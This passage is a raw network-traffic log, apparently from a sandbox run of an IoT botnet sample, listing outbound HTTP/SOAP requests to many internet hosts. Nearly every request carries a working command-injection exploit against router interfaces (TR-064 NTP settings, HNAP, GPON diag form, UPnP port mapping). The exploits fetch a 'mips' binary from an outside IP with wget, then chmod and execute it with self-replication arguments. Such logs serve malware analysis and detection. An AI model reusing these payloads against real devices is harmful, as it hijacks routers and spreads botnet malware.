xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.13	41854	121.180.182.81	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.066032887 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.13	42612	190.59.178.5	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.085335970 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.13	33514	51.81.234.22	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.181364059 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.124486923 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.306380987 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:52:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 319 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 73 31 30 30 31 34 35 38 2e 69 70 2d 31 34 37 2d 31 33 35 2d 31 30 35 2e 75 73 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at ns1001458.ip-147-135-105.us Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.13	41780	47.155.82.176	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.228446007 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:29.088495016 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.13	51616	65.131.196.41	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.301983118 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.13	42216	66.61.113.246	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.301995039 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.13	52278	66.65.167.194	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.303049088 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.13	43418	162.253.102.7	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.344816923 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:28.623861074 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 06:52:27 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.13	53214	221.147.219.44	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.357053041 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.13	45930	190.194.183.233	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.358165979 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.13	57556	14.57.254.144	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.359090090 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.13	60854	5.167.43.27	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.387871981 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:28.709582090 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:52:28 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Apr 15, 2024 08:52:30.313766003 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:52:28 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.13	41810	47.155.82.176	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.394217968 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.13	60516	151.251.68.81	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.452023983 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.13	58376	18.202.193.251	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.498192072 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:28.808768034 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:52:28 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.13	51648	65.131.196.41	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.531744957 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.13	42244	66.61.113.246	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.539185047 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.13	52308	66.65.167.194	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.559617996 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.13	43448	162.253.102.7	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.625310898 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
